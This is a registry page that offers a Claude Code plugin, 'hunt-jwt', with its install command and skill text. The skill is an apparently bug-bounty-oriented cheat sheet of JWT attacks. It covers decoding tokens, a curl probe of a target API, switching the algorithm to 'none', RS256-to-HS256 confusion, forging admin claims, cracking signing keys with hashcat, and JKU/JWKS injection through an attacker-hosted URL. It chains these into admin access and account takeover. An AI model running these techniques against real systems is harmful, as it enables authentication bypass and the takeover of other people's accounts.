hunt-jwt · git:20260924.1a17d35 · 2026-09-24 · sha256 057b4dd8805aee4f

hunt-jwt git:20260924.1a17d35A

Immutable. This exact content never changes and is served at /api/v1/blob/057b4dd8805aee4f.

No tool to install first
claude plugin marketplace add https://markdownregistry.com/mp/a/art_w2eevn2oxkurfqxp/057b4dd8805aee4f8a142a859bbfe43af182009f14538f97a8b3124f6b5797aa.json

Then /plugin install hunt-jwt@markdownregistry-w2eevn2oxkurfqxp in Claude Code. It installs this exact version, the one graded A here, pinned to the commit it was graded at, and leaves it there.

---
name: hunt-jwt
description: JWT attacks — none algorithm, alg confusion, key brute, claim manipulation, JKU/JWK injection, token substitution. Chains to auth bypass and ATO.
---

# JWT ATTACKS — 3 BULLETS MAX

**Core:** JWT flaws = authentication bypass = ATO.

## DETECTION
```bash
# Decode JWT
echo "eyJhbGci...header.eyJzdWI..." | cut -d. -f2 | base64 -d 2>/dev/null
# Check alg
curl -s "https://target.com/api/data" -H "Authorization: Bearer TOKEN" | head -1
# Decode header
echo "eyJhbGci...header" | base64 -d
```

## ATTACKS
```
None algorithm: change alg to "none", remove signature
Alg confusion: RS256→HS256, sign with public key as HMAC secret
Claim manipulation: {"sub":"admin","role":"admin","exp":9999999999}
Key brute: hashcat -m 16500 jwt.txt wordlist.txt
JKU injection: set jku to attacker's URL → server fetches attacker's key
Key confusion via JWKS: host malicious JWKS → set kid to attacker URL
Token substitution: swap tokens between accounts
Refresh token abuse: test if valid after password change/logout
```

## CHAINS
```
None algorithm → admin access → Critical
Alg confusion → forge admin token → Critical
Claim manipulation → privilege escalation → Critical
Key brute → forge any token → Critical
```